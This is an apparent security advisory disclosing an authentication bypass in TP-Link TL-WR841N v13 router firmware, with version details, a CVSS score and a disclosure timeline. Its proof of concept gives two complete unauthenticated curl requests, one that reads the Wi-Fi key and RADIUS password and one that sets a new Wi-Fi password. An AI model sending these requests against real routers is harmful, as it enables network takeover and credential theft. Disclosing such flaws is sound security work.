• Vulnerability: Broken Authentication
  • Affected Software: TP-Link TL-WR841N v13
  • Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n
  • Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
  • Risk: High
  • Vendor Contacted: 05/20/2018
  • Vendor Fix: Issue was independently fixed in previous version
  • Public Disclosure: 06/27/2018

An attacker that can send HTTP requests to the router can bypass the authentication mechanism of the web interface and thus perform arbitrary actions.


High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


An unauthenticated attacker can send arbitrary requests to CGI scripts, which allows them to perform all actions an authenticated user could perform, as well as read out all information that an authenticated user can read out. With default configuration, the attacker has to be in the same local network as the router.

The issue exists because while the frontend of the web interface has a basic authentication mechanism, requests to the CGI scripts fail to validate the authentication cookie.


Read out Wifi password:

curl -i -s -k  -X $'POST' -H $'Host:' -H $'Referer:' -H $'Content-Type: text/plain' -H $'Content-Length: 404' -H $'Connection: close' --data-binary $'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0aEnable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStandard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionModes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPAAuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthenticationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_RadiusServerPassword\x0d\x0a' $''

Change Wifi password:

curl -i -s -k  -X $'POST' -H $'Host:' -H $'Referer:' -H $'Content-Length: 197' -H $'Connection: close' --data-binary $'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a' $''

The issue was already fixed independently of this report in the newest version of the firmware: